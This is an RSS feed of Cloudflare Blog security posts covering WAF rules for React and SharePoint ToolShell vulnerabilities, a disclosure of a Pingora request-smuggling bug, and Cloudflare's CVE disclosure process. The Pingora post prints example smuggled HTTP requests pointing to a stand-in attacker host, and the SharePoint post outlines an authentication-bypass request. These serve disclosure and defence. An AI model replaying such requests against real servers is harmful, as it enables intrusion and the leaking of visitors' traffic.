
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Wed, 15 Apr 2026 00:18:26 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Cloudflare WAF proactively protects against React vulnerability]]></title>
            <link>https://blog.cloudflare.com/waf-rules-react-vulnerability/</link>
            <pubDate>Wed, 03 Dec 2025 14:20:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare offers protection against a new high profile vulnerability for React Server Components: CVE-2025-55182. All WAF customers are automatically protected as long as the WAF is deployed. ]]></description>
            <content:encoded><![CDATA[ <p></p><p><br /></p><p>Cloudflare has deployed a new protection to address a vulnerability in React Server Components (RSC). <b>All Cloudflare customers are automatically protected, including those on free and paid plans, as long as their React application traffic is proxied through the Cloudflare Web Application Firewall (WAF).</b></p><p>Cloudflare Workers are inherently immune to this exploit. React-based applications and frameworks deployed on Workers are not affected by this vulnerability.</p><p>We strongly recommend that customers immediately update their systems to the most recent version of React, despite our WAF being designed to detect and prevent this exploit.</p>
    <div>
      <h3>What you need to know</h3>
      <a href="#what-you-need-to-know">
        
      </a>
    </div>
    <p>Cloudflare has been alerted by its security partners to a Remote Code Execution (RCE) vulnerability impacting Next.js, React Router, and other React frameworks (security advisory CVE-2025-55182, rated CVSS 10.0). Specifically, React version 19.0, 19.1, and 19.2, and Next.js from version 15 through 16 were found to insecurely deserialize malicious requests, leading to RCE.</p><p><b>In response, Cloudflare has deployed new rules across its network, with the default action set to Block. </b>These new protections are included in both the Cloudflare Free Managed Ruleset (available to all Free customers) and the standard Cloudflare Managed Ruleset (available to all paying customers). More information about the different rulesets can be found in our <a href="https://developers.cloudflare.com/waf/managed-rules/#available-managed-rulesets"><u>documentation</u></a>.</p><p>The rule ID is as follows:</p><table><tr><td><p>Ruleset</p></td><td><p>Rule ID</p></td><td><p>Default action</p></td></tr><tr><td><p><code>Managed Ruleset</code></p></td><td><p><code>33aa8a8a948b48b28d40450c5fb92fba</code></p></td><td><p>Block</p></td></tr><tr><td><p><code>Free Ruleset</code></p></td><td><p><code>2b5d06e34a814a889bee9a0699702280</code></p></td><td><p>Block</p></td></tr></table><p><b>Customers on Professional, Business, or Enterprise plans should ensure that Managed Rules are enabled  —  </b><a href="https://developers.cloudflare.com/waf/get-started/#1-deploy-the-cloudflare-managed-ruleset"><b><u>follow these steps to turn it on</u></b></a><b>.</b> Customers on a Free plan have these rules enabled by default.</p><p>We recommend that customers <b>update to the latest version of React 19.2.1 and the latest versions of Next.js (16.0.7, 15.5.7, 15.4.8)</b>.</p><p>The rules were deployed at 5:00 PM GMT on Tuesday, December 2, 2025. Since their release until the publication of this blog and the official CVE announcement, we have not observed any attempted exploit.</p>
    <div>
      <h3>Looking forward</h3>
      <a href="#looking-forward">
        
      </a>
    </div>
    <p>The Cloudflare security team has collaborated with partners to identify various attack patterns and ensure the new rules effectively prevent any bypasses. Over the coming hours and days, the team will maintain continuous monitoring for potential attack variations, updating our protections as necessary to secure all traffic proxied via Cloudflare.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2Nej3zxhHlPNwFL5L5k7Zq/e19062d3811e9704d4ddd0ad16428fa4/BLOG-3089_2.png" />
          </figure><p></p> ]]></content:encoded>
            <category><![CDATA[Cloudforce One]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Web Application Firewall]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[React]]></category>
            <guid isPermaLink="false">6yAZ5qr270gBwMkcYu63DX</guid>
            <dc:creator>Daniele Molteni</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare protects against critical SharePoint vulnerability, CVE-2025-53770]]></title>
            <link>https://blog.cloudflare.com/cloudflare-protects-against-critical-sharepoint-vulnerability-cve-2025-53770/</link>
            <pubDate>Tue, 22 Jul 2025 16:30:00 GMT</pubDate>
            <description><![CDATA[ Microsoft disclosed two critical vulnerabilities, CVE-2025-53771 and CVE-2025-53770, that are exploited to attack SharePoint servers. ]]></description>
            <content:encoded><![CDATA[ <p>On July 19, 2025,<a href="https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/"> <u>Microsoft disclosed CVE-2025-53770</u></a>, a critical zero-day Remote Code Execution (RCE) vulnerability. Assigned a CVSS 3.1 base score of 9.8 (Critical), the vulnerability affects SharePoint Server 2016, 2019, and the Subscription Edition, along with unsupported 2010 and 2013 versions. Cloudflare’s WAF Managed Rules now includes 2 emergency releases that mitigate these vulnerabilities for WAF customers.</p>
    <div>
      <h3>Unpacking CVE-2025-53770</h3>
      <a href="#unpacking-cve-2025-53770">
        
      </a>
    </div>
    <p>The vulnerability's root cause is <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-53770"><u>improper deserialization of untrusted data</u></a>, which allows a remote, unauthenticated attacker to execute arbitrary code over the network without any user interaction. Moreover, what makes CVE-2025-53770 uniquely threatening is its methodology – the exploit chain, labeled "ToolShell." ToolShell is engineered <i>to play the long-game</i>: attackers are not only gaining temporary access, but also taking the server's cryptographic machine keys, specifically the <code>ValidationKey</code> and <code>DecryptionKey</code>. Possessing these keys allows threat actors to independently forge authentication tokens and <code>__VIEWSTATE</code> payloads, granting them persistent access that can survive standard mitigation strategies such as a server reboot or removing web shells.</p><p>In response to the active nature of these attacks, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2025-53770 to its<a href="https://www.cisa.gov/news-events/alerts/2025/07/20/cisa-adds-one-known-exploited-vulnerability-cve-2025-53770-toolshell-catalog"> <u>Known Exploited Vulnerabilities (KEV) catalog</u></a> with an emergency remediation deadline. The security community's consensus is clear: any organization with an on-premise SharePoint server on the Internet should assume it has been compromised and take immediate action to fully address this vulnerability.</p><p>Since releasing our vulnerability patch in Cloudflare’s WAF Managed Ruleset, we’ve tracked the number of HTTP request matches for the vulnerability, which you can see in the graph below. Notably, we observed a significant peak around 11AM UTC, the morning of July 22, at around 300,000 hits at one point in time. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1lIEI0Bq0Y9KKfejkUo2sB/3e0ae3f0ccfe0d4eec09ef837157323b/image2.png" />
          </figure>
    <div>
      <h3>How does the ToolShell exploit chain work?</h3>
      <a href="#how-does-the-toolshell-exploit-chain-work">
        
      </a>
    </div>
    <p>The ToolShell exploit chain was first demonstrated at the <a href="https://www.zerodayinitiative.com/blog/2025/5/16/pwn2own-berlin-2025-day-two-results"><u>Pwn2Own hacking competition</u></a> in May 2025, where researchers chained an authentication bypass (CVE-2025-49706) with a deserialization RCE (CVE-2025-49704). Unfortunately, this was not the end of ToolShell’s lifespan. Threat actors evidently analyzed the patches to find weaknesses and exploit them in the wild, forcing Microsoft to assign new identifiers and call out CVE-2025-53771 for the authentication bypass. This rapid exploit → patch → bypass cycle shows that threat actors are not merely discovering vulnerabilities, but also systematically reverse-engineering <i>patches</i> to weaponize bypasses. For responders, this closes the window – or hides it altogether – to respond and put up defenses, highlighting the need for evolving, proactive security postures.</p><p>The ToolShell exploit works in 3 stages:</p><ol><li><p><b>Authentication Bypass, leveraging CVE-2025-53771</b>: The attack begins with a <code>POST</code> request sent to the <code>/_layouts/15/ToolPane.aspx</code> endpoint, a legacy component of SharePoint. The crutch of this authentication bypass happens by setting the <code>Referer</code> header to <code>/_layouts/SignOut.aspx</code>, which tricks the SharePoint server into trusting the attacker. With trust in hand, the attacker is able to skip authentication checks and move forward with authenticated access.</p></li><li><p><b>Remote Code Execution via Deserialization, CVE-2025-53770: </b>With privileged access, the attacker can interact with the <code>ToolPane.aspx</code> endpoint. The attacker submits a malicious payload in the body of the <code>POST</code> request, triggering the core vulnerability: a deserialization flaw in which the SharePoint application deserializes the object into executable code on the server. At this point, the attacker can execute commands as they wish.</p></li><li><p><b>The Long-Game: Possessing Cryptographic Keys:</b> Finally, to play the long-game and maintain continued access, the attacker will use a specific web shell to steal the server's cryptographic machine keys. By taking the <code>ValidationKey</code> and the <code>DecryptionKey</code>, the attacker obtains the state information used by SharePoint. Possessing these keys allows the attacker to operate independently, long after the original exploit; this means they can continue to execute new malicious payloads on the exploited server. This permanent backdoor makes this attack method uniquely dangerous.</p></li></ol>
    <div>
      <h3>Cloudflare’s new WAF Managed Rules for CVE-2025-53770, CVE-2025-53771 </h3>
      <a href="#cloudflares-new-waf-managed-rules-for-cve-2025-53770-cve-2025-53771">
        
      </a>
    </div>
    <p>CVE-2025-53770 is a clear example of how modern cyber threats are two-sided, combining an initial breach vector with a mechanism for long-term persistence. This means that a successful defense will address both the immediate RCE vulnerability and the subsequent threat of unwelcome access. </p><p>Once a public proof-of-concept became available for this exploit, Cloudflare’s security analysts crafted and tested new patches, ensuring that they would address not only the initial attack, but also the longer-term threat. </p><p>The team began researching the exploit the evening of July 20, and on July 21, 2025, Cloudflare deployed our emergency WAF Managed Rules to patch the vulnerability, meaning every customer using the Cloudflare Managed Ruleset will automatically be protected from this critical SharePoint vulnerability. These rules have been announced on the <a href="https://developers.cloudflare.com/waf/change-log/2025-07-21-emergency/">WAF changelog</a> and will take effect immediately.</p> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[CVE]]></category>
            <guid isPermaLink="false">2RtKFdquX8O4ijNDZvLjyd</guid>
            <dc:creator>Jin-Hee Lee</dc:creator>
            <dc:creator>Vaibhav Singhal</dc:creator>
        </item>
        <item>
            <title><![CDATA[Resolving a request smuggling vulnerability in Pingora]]></title>
            <link>https://blog.cloudflare.com/resolving-a-request-smuggling-vulnerability-in-pingora/</link>
            <pubDate>Thu, 22 May 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare patched a vulnerability (CVE-2025-4366) in the Pingora OSS framework, which exposed users of the framework and Cloudflare CDN’s free tier to potential request smuggling attacks. ]]></description>
            <content:encoded><![CDATA[ <p>On April 11, 2025 09:20 UTC, Cloudflare was notified via its <a href="https://www.cloudflare.com/disclosure/"><u>Bug Bounty Program</u></a> of a request smuggling vulnerability (<a href="https://www.cve.org/cverecord?id=CVE-2025-4366"><u>CVE-2025-4366</u></a>) in the <a href="https://github.com/cloudflare/pingora/tree/main"><u>Pingora OSS framework</u></a> discovered by a security researcher experimenting to find exploits using Cloudflare’s Content Delivery Network (CDN) free tier which serves some cached assets via Pingora.</p><p>Customers using the free tier of Cloudflare’s CDN or users of the caching functionality provided in the open source <a href="https://github.com/cloudflare/pingora/tree/main/pingora-proxy"><u>pingora-proxy</u></a> and <a href="https://github.com/cloudflare/pingora/tree/main/pingora-cache"><u>pingora-cache</u></a> crates could have been exposed.  Cloudflare’s investigation revealed no evidence that the vulnerability was being exploited, and was able to mitigate the vulnerability by April 12, 2025 06:44 UTC within 22 hours after being notified.</p>
    <div>
      <h2>What was the vulnerability?</h2>
      <a href="#what-was-the-vulnerability">
        
      </a>
    </div>
    <p>The bug bounty report detailed that an attacker could potentially exploit an HTTP/1.1 request smuggling vulnerability on Cloudflare’s CDN service. The reporter noted that via this exploit, they were able to cause visitors to Cloudflare sites to make subsequent requests to their own server and observe which URLs the visitor was originally attempting to access.</p><p>We treat any potential request smuggling or caching issue with extreme urgency.  After our security team escalated the vulnerability, we began investigating immediately, took steps to disable traffic to vulnerable components, and deployed a patch. 
</p><p>We are sharing the details of the vulnerability, how we resolved it, and what we can learn from the action. No action is needed from Cloudflare customers, but if you are using the Pingora OSS framework, we strongly urge you to upgrade to a version of Pingora <a href="https://github.com/cloudflare/pingora/releases/tag/0.5.0"><u>0.5.0</u></a> or later.</p>
    <div>
      <h2>What is request smuggling?</h2>
      <a href="#what-is-request-smuggling">
        
      </a>
    </div>
    <p>Request smuggling is a type of attack where an attacker can exploit inconsistencies in the way different systems parse HTTP requests. For example, when a client sends an HTTP request to an application server, it typically passes through multiple components such as load balancers, reverse proxies, etc., each of which has to parse the HTTP request independently. If two of the components the request passes through interpret the HTTP request differently, an attacker can craft a request that one component sees as complete, but the other continues to parse into a second, malicious request made on the same connection.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Zo8gcyLwmR2liZIUetcGe/d0647a83dc2bc1e676ee2b61f14c3964/image2.png" />
          </figure>
    <div>
      <h2>Request smuggling vulnerability in Pingora</h2>
      <a href="#request-smuggling-vulnerability-in-pingora">
        
      </a>
    </div>
    <p>In the case of Pingora, the reported request smuggling vulnerability was made possible due to a HTTP/1.1 parsing bug when caching was enabled.</p><p>The pingora-cache crate adds an HTTP caching layer to a Pingora proxy, allowing content to be cached on a configured storage backend to help improve response times, and reduce bandwidth and load on backend servers.</p><p>HTTP/1.1 supports “<a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3"><u>persistent connections</u></a>”, such that one TCP connection can be reused for multiple HTTP requests, instead of needing to establish a connection for each request. However, only one request can be processed on a connection at a time (with rare exceptions such as <a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3.2"><u>HTTP/1.1 pipelining</u></a>). The RFC notes that each request must have a “<a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3-7"><u>self-defined message length</u></a>” for its body, as indicated by headers such as <code>Content-Length</code> or <code>Transfer-Encoding</code> to determine where one request ends and another begins.</p><p>Pingora generally handles requests on HTTP/1.1 connections in an RFC-compliant manner, either ensuring the downstream request body is properly consumed or declining to reuse the connection if it encounters an error. After the bug was filed, we discovered that when caching was enabled, this logic was skipped on cache hits (i.e. when the service’s cache backend can serve the response without making an additional upstream request).</p><p>This meant on a cache hit request, after the response was sent downstream, any unread request body left in the HTTP/1.1 connection could act as a vector for request smuggling. When formed into a valid (but incomplete) header, the request body could “poison” the subsequent request. The following example is a spec-compliant HTTP/1.1 request which exhibits this behavior:</p>
            <pre><code>GET /attack/foo.jpg HTTP/1.1
Host: example.com
&lt;other headers…&gt;
content-length: 79

GET / HTTP/1.1
Host: attacker.example.com
Bogus: foo</code></pre>
            <p>Let’s say there is a different request to <code>victim.example.com</code> that will be sent after this one on the reused HTTP/1.1 connection to a Pingora reverse proxy. The bug means that a Pingora service may not respect the <code>Content-Length</code> header and instead misinterpret the smuggled request as the beginning of the next request:</p>
            <pre><code>GET /attack/foo.jpg HTTP/1.1
Host: example.com
&lt;other headers…&gt;
content-length: 79

GET / HTTP/1.1 // &lt;- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // &lt;- actual next valid req start
Host: victim.example.com
&lt;other headers…&gt;</code></pre>
            <p>Thus, the smuggled request could inject headers and its URL into a subsequent valid request sent on the same connection to a Pingora reverse proxy service.</p>
    <div>
      <h2>CDN request smuggling and hijacking</h2>
      <a href="#cdn-request-smuggling-and-hijacking">
        
      </a>
    </div>
    <p>On April 11, 2025, Cloudflare was in the process of rolling out a Pingora proxy component with caching support enabled to a subset of CDN free plan traffic. This component was vulnerable to this request smuggling attack, which could enable modifying request headers and/or URL sent to customer origins.</p><p>As previously noted, the security researcher reported that they were also able to cause visitors to Cloudflare sites to make subsequent requests to their own malicious origin and observe which site URLs the visitor was originally attempting to access. During our investigation, Cloudflare found that certain origin servers would be susceptible to this secondary attack effect. The smuggled request in the example above would be sent to the correct origin IP address per customer configuration, but some origin servers would respond to the rewritten attacker <code>Host</code> header with a 301 redirect. Continuing from the prior example:</p>
            <pre><code>GET / HTTP/1.1 // &lt;- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // &lt;- actual next valid req start
Host: victim.example.com
&lt;other headers…&gt;

HTTP/1.1 301 Moved Permanently // &lt;- susceptible victim origin response
Location: https://attacker.example.com/
&lt;other headers…&gt;</code></pre>
            <p>When the client browser followed the redirect, it would trigger this attack by sending a request to the attacker hostname, along with a Referrer header indicating which URL was originally visited, making it possible to load a malicious asset and observe what traffic a visitor was trying to access.</p>
            <pre><code>GET / HTTP/1.1 // &lt;- redirect-following request
Host: attacker.example.com
Referrer: https://victim.example.com/victim/main.css
&lt;other headers…&gt;</code></pre>
            <p>Upon verifying the Pingora proxy component was susceptible, the team immediately disabled CDN traffic to the vulnerable component on 2025-04-12 06:44 UTC to stop possible exploitation. By 2025-04-19 01:56 UTC and prior to re-enablement of any traffic to the vulnerable component, a patch fix to the component was released, and any assets cached on the component’s backend were invalidated in case of possible cache poisoning as a result of the injected headers.</p>
    <div>
      <h2>Remediation and next steps</h2>
      <a href="#remediation-and-next-steps">
        
      </a>
    </div>
    <p>If you are using the caching functionality in the Pingora framework, you should update to the latest version of <a href="https://github.com/cloudflare/pingora/releases/tag/0.5.0"><u>0.5.0.</u></a> If you are a Cloudflare customer with a free plan, you do not need to do anything, as we have already applied the patch for this vulnerability.</p>
    <div>
      <h2>Timeline</h2>
      <a href="#timeline">
        
      </a>
    </div>
    <p><i>All timestamps are in UTC.</i></p><ul><li><p>2025-04-11 09:20 – Cloudflare is notified of a CDN request smuggling vulnerability via the Bug Bounty Program.</p></li><li><p>2025-04-11 17:16 to 2025-04-12 03:28 – Cloudflare confirms vulnerability is reproducible and investigates which component(s) require necessary changes to mitigate.</p></li><li><p>2025-04-12 04:25 – Cloudflare isolates issue to roll out of a Pingora proxy component with caching enabled and prepares release to disable traffic to this component.</p></li><li><p>2025-04-12 06:44 – Rollout to disable traffic complete, vulnerability mitigated.</p></li></ul>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We would like to sincerely thank <a href="https://www.linkedin.com/in/james-kettle-albinowax/"><u>James Kettle</u></a> &amp; <a href="https://www.linkedin.com/in/wannes-verwimp/"><u>Wannes Verwimp</u></a>, who responsibly disclosed this issue via our <a href="https://www.cloudflare.com/en-gb/disclosure/"><u>Cloudflare Bug Bounty Program</u></a>, allowing us to identify and mitigate the vulnerability. We welcome further submissions from our community of researchers to continually improve the security of all of our products and open source projects.</p><p>Whether you are a customer of Cloudflare or just a user of our Pingora framework, or both, we know that the trust you place in us is critical to how you connect your properties to the rest of the Internet. Security is a core part of that trust and for that reason we treat these kinds of reports and the actions that follow with serious urgency. We are confident about this patch and the additional safeguards that have been implemented, but we know that these kinds of issues can be concerning. Thank you for your continued trust in our platform. We remain committed to building with security as our top priority and responding swiftly and transparently whenever issues arise.</p> ]]></content:encoded>
            <category><![CDATA[Pingora]]></category>
            <category><![CDATA[CDN]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <guid isPermaLink="false">W02DuD98fCm1sYwa3gNH8</guid>
            <dc:creator>Edward Wang</dc:creator>
            <dc:creator>Andrew Hauck</dc:creator>
            <dc:creator>Aki Shugaeva</dc:creator>
        </item>
        <item>
            <title><![CDATA[Vulnerability transparency: strengthening security through responsible disclosure]]></title>
            <link>https://blog.cloudflare.com/vulnerability-transparency-strengthening-security-through-responsible/</link>
            <pubDate>Fri, 16 May 2025 15:00:00 GMT</pubDate>
            <description><![CDATA[ In line with CISA’s Secure By Design pledge, Cloudflare shares its vulnerability disclosure process, CVE issuance criteria, and CNA duties.  ]]></description>
            <content:encoded><![CDATA[ <p>In an era where digital threats evolve faster than ever, cybersecurity isn't just a back-office concern — it's a critical business priority. At Cloudflare, we understand the responsibility that comes with operating in a connected world. As part of our ongoing commitment to security and transparency, Cloudflare is proud to have joined the <a href="https://www.cisa.gov/"><u>United States Cybersecurity and Infrastructure Security Agency’s (CISA)</u></a> <a href="https://www.cisa.gov/securebydesign/pledge"><u>“Secure by Design” pledge</u></a> in May 2024. </p><p>By signing this pledge, Cloudflare joins a growing coalition of companies committed to strengthening the resilience of the digital ecosystem. This isn’t just symbolic — it's a concrete step in aligning with cybersecurity best practices and our commitment to protect our customers, partners, and data. </p><p>A central goal in CISA’s Secure by Design pledge is promoting transparency in vulnerability reporting. This initiative underscores the importance of proactive security practices and emphasizes transparency in vulnerability management — values that are deeply embedded in Cloudflare’s Product Security program. ​We believe that openness around vulnerabilities is foundational to earning and maintaining the trust of our customers, partners, and the broader security community.</p>
    <div>
      <h2>Why transparency in vulnerability reporting matters</h2>
      <a href="#why-transparency-in-vulnerability-reporting-matters">
        
      </a>
    </div>
    <p>Transparency in vulnerability reporting is essential for building trust between companies and customers. In 2008, Linus Torvalds <a href="https://lkml.org/lkml/2008/7/15/293"><u>noted</u></a> that disclosure is inherently tied to resolution: “<i>So as far as I'm concerned, disclosing is the fixing of the bug</i>”, emphasizing that resolution must start with visibility. While this mindset might apply well to open-source projects and communities familiar with code and patches, it doesn’t scale easily to non-expert users and enterprise users who require structured, validated, and clearly communicated disclosures regarding a vulnerability’s impact. Today’s threat landscape demands not only rapid remediation of vulnerabilities but also clear disclosure of their nature, impact and resolution. This builds trust with the customer and contributes to the broader collective understanding of common vulnerability classes and emerging systemic flaws.</p>
    <div>
      <h3>What is a CVE?</h3>
      <a href="#what-is-a-cve">
        
      </a>
    </div>
    <p>Common Vulnerabilities and Exposures (CVE) is a catalog of publicly disclosed vulnerabilities and exposures. Each CVE includes a unique identifier, summary, associated metadata like the Common Weakness Enumeration (CWE) and Common Platform Enumeration (CPE), and a severity score that can range from None to Critical. </p><p>The format of a CVE ID consists of a fixed prefix, the year of the disclosure and an arbitrary sequence number ​​like<b> </b>CVE-2017-0144. Memorable names such as "EternalBlue"  (<a href="https://www.cve.org/CVERecord?id=CVE-2017-0144"><u>CVE-2017-0144</u></a>)  are often associated with high-profile exploits to enhance recall.</p>
    <div>
      <h3>What is a CNA?</h3>
      <a href="#what-is-a-cna">
        
      </a>
    </div>
    <p>As an authorized <a href="https://www.cve.org/ResourcesSupport/Glossary#glossaryCNA"><u>CVE Numbering Authority (CNA)</u></a>, Cloudflare can assign CVE identifiers for vulnerabilities discovered within our products and ecosystems. Cloudflare has been actively involved with MITRE's <a href="https://www.cve.org"><u>CVE program</u></a> since its founding in 2009. As a CNA, Cloudflare assumes the responsibility to manage disclosure timelines ensuring they are accurate, complete, and valuable to the broader industry. </p>
    <div>
      <h3>Cloudflare CVE issuance process</h3>
      <a href="#cloudflare-cve-issuance-process">
        
      </a>
    </div>
    <p>Cloudflare issues CVEs for vulnerabilities discovered internally and through our <a href="https://hackerone.com/cloudflare"><u>Bug Bounty program</u></a> when they affect <b>open source software</b> and/or our <b>distributed closed source products</b>.</p><p>The findings are triaged based on real-world exploitability and impact. Vulnerabilities without a plausible exploitation path, in addition to findings related to test repositories or exposed credentials like API keys, typically do not qualify for CVE issuance.</p><p>We recognize that CVE issuance involves nuance, particularly for sophisticated security issues in a complex codebase (for example, the <a href="https://www.youtube.com/watch?v=Rg_VPMT0XXw"><u>Linux kernel</u></a>). Issuance relies on impact to users and the likelihood of the exploit, which depends on the complexity of executing an attack. The growing number of CVEs issued industry-wide reflects a broader effort to balance theoretical vulnerabilities against real-world risk. </p><p>In scenarios where Cloudflare was impacted by a vulnerability, but the root cause was within another CNA’s scope of products, Cloudflare will not assign the CVE. Instead, Cloudflare may choose other mediums of disclosure, like blog posts.</p>
    <div>
      <h3>How does Cloudflare disclose a CVE?</h3>
      <a href="#how-does-cloudflare-disclose-a-cve">
        
      </a>
    </div>
    <p>Our disclosure process begins with internal evaluation of severity and scope, and any potential privacy or compliance impacts. When necessary, we engage our Legal and Security Incident Response Teams (SIRT). For vulnerabilities reported to Cloudflare by external entities via our Bug Bounty program, our standard disclosure timeline is within 90 days. This timeline allows us to ensure proper remediation, thorough testing, and responsible coordination with affected parties. While we are committed to transparent disclosure, we believe addressing and validating fixes before public release is essential to protect users and uphold system security. For open source projects, we also issue security advisories on the relevant GitHub repositories. Additionally, we encourage external researchers to publish/blog about their findings after issues are remediated. Full details and process of Cloudflare’s external researcher/entity disclosure policy can be found via our <a href="https://hackerone.com/cloudflare?type=team#:~:text=the%20next%20level!-,Disclosure,-Cloudflare%20strongly%20supports"><u>Bug Bounty program</u></a> policy page</p>
    <div>
      <h2>Outcomes</h2>
      <a href="#outcomes">
        
      </a>
    </div>
    <p>To date, Cloudflare has issued and disclosed<b> </b>multiple<b> </b>CVEs. Because of the security platforms and products that Cloudflare builds, vulnerabilities have primarily been in the areas of denial of service, local privilege escalation, logical flaws, and improper input validation. Cloudflare also believes in collaboration and open sources of some of our software stack, therefore CVEs in these repositories are also promptly disclosed.</p><p>Cloudflare disclosures can be found <a href="https://www.cve.org/CVERecord/SearchResults?query=Cloudflare"><u>here</u></a>. Below are some of the most notable vulnerabilities disclosed by Cloudflare:</p>
    <div>
      <h3><a href="https://www.cve.org/CVERecord?id=CVE-2024-1765"><u>CVE-2024-1765</u></a>: quiche: Memory Exhaustion Attack using post-handshake CRYPTO frames</h3>
      <a href="#quiche-memory-exhaustion-attack-using-post-handshake-crypto-frames">
        
      </a>
    </div>
    <p><a href="https://github.com/cloudflare/quiche"><u>Cloudflare quiche</u></a> (through version 0.19.1/0.20.0) was affected by an unlimited resource allocation vulnerability causing rapid increase of memory usage of the system running a quiche server or client.</p><p>A remote attacker could take advantage of this vulnerability by repeatedly sending an unlimited number of 1-RTT CRYPTO frames after previously completing the QUIC handshake.</p><p>Exploitation was possible for the duration of the connection, which could be extended by the attacker.</p><p>quiche 0.19.2 and 0.20.1 are the earliest versions containing the fix for this issue.</p>
    <div>
      <h3><a href="https://www.cve.org/CVERecord?id=CVE-2024-0212"><u>CVE-2024-0212</u></a>: Cloudflare WordPress plugin enables information disclosure of Cloudflare API (for low-privilege users)</h3>
      <a href="#cloudflare-wordpress-plugin-enables-information-disclosure-of-cloudflare-api-for-low-privilege-users">
        
      </a>
    </div>
    <p>The <a href="https://github.com/cloudflare/Cloudflare-WordPress"><u>Cloudflare WordPress</u></a> plugin was found to be vulnerable to improper authentication. The vulnerability enables attackers with a lower privileged account to access data from the Cloudflare API.</p><p>The issue has been fixed in version &gt;= 4.12.3 of the plugin</p>
    <div>
      <h3><a href="https://www.cve.org/CVERecord?id=CVE-2023-2754"><u>CVE-2023-2754</u></a> - Plaintext transmission of DNS requests in Windows 1.1.1.1 WARP client</h3>
      <a href="#plaintext-transmission-of-dns-requests-in-windows-1-1-1-1-warp-client">
        
      </a>
    </div>
    <p>The Cloudflare WARP client for Windows assigns loopback IPv4 addresses for the DNS servers, since WARP acts as a local DNS server that performs DNS queries securely. However, if a user is connected to WARP over an IPv6-capable network, the WARP client did not assign loopback IPv6 addresses but rather Unique Local Addresses, which under certain conditions could point towards unknown devices in the same local network, enabling an attacker to view DNS queries made by the device.</p><p>This issue was patched in version 2023.7.160.0 of the WARP client (Windows).</p>
    <div>
      <h3><a href="https://www.cve.org/CVERecord?id=CVE-2025-0651"><u>CVE-2025-0651</u></a> - Improper privilege management allows file manipulations </h3>
      <a href="#improper-privilege-management-allows-file-manipulations">
        
      </a>
    </div>
    <p>An improper privilege management vulnerability in Cloudflare WARP for Windows allowed file manipulation by low-privilege users. Specifically, a user with limited system permissions could create symbolic links within the <code>C:\ProgramData\Cloudflare\warp-diag-partials</code> directory. When the "Reset all settings" feature is triggered, the WARP service — running with SYSTEM-level privileges — followed these symlinks and may delete files outside the intended directory, potentially including files owned by the SYSTEM user.</p><p>This vulnerability affected versions of WARP prior to 2024.12.492.0.</p>
    <div>
      <h3><a href="https://www.cve.org/CVERecord/SearchResults?query=CVE-2025-23419"><u>CVE-2025-23419</u></a>: TLS client authentication can be bypassed due to ticket resumption (disclosed Cloudflare impact via blog post)</h3>
      <a href="#tls-client-authentication-can-be-bypassed-due-to-ticket-resumption-disclosed-cloudflare-impact-via-blog-post">
        
      </a>
    </div>
    <p>Cloudflare’s <a href="https://www.cloudflare.com/en-gb/learning/access-management/what-is-mutual-tls/"><u>mutual TLS</u></a> implementation caused a vulnerability in the session resumption handling. The underlying issue originated from <a href="https://github.com/google/boringssl"><u>BoringSSL</u></a>’s process to resume TLS sessions. BoringSSL stored client certificates, which were reused from the original session (without revalidating the full certificate chain) and the original handshake's verification status was not re-validated. </p><p>While Cloudflare was impacted by the vulnerability, the root cause was within NGINX's implementation, making F5 the appropriate CNA to assign the CVE. This is an example of alternate mediums of disclosure that Cloudflare sometimes opt for. This issue was fixed as per guidance from the respective CVE — please see our <a href="https://blog.cloudflare.com/resolving-a-mutual-tls-session-resumption-vulnerability/"><u>blog post</u></a> for more details.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>Irrespective of the industry, if your organization builds software, we encourage you to familiarize yourself with <a href="https://www.cisa.gov/securebydesign"><u>CISA’s “Secure by Design” principles</u></a> and create a plan to implement them in your company. The CISA Secure by Design pledge is built around seven security goals, prioritizing the security of customers, and challenges organizations to think differently about security. </p><p>As we continue to enhance our security posture, Cloudflare remains committed to enhancing our internal practices, investing in tooling and automation, and sharing knowledge with the community. CVE transparency is not a one-time initiative — it’s a sustained effort rooted in openness, discipline, and technical excellence. By embedding these values in how we design, build and secure our products, we aim to meet and exceed expectations set out in the CISA pledge and make the Internet more secure, faster and reliable!</p><p>For more updates on our CISA progress, review our related <a href="https://blog.cloudflare.com/tag/cisa/"><u>blog posts</u></a>. Cloudflare has delivered five of the seven CISA Secure by Design pledge goals, and we aim to complete the remainder of the pledge goals in May 2025.</p> 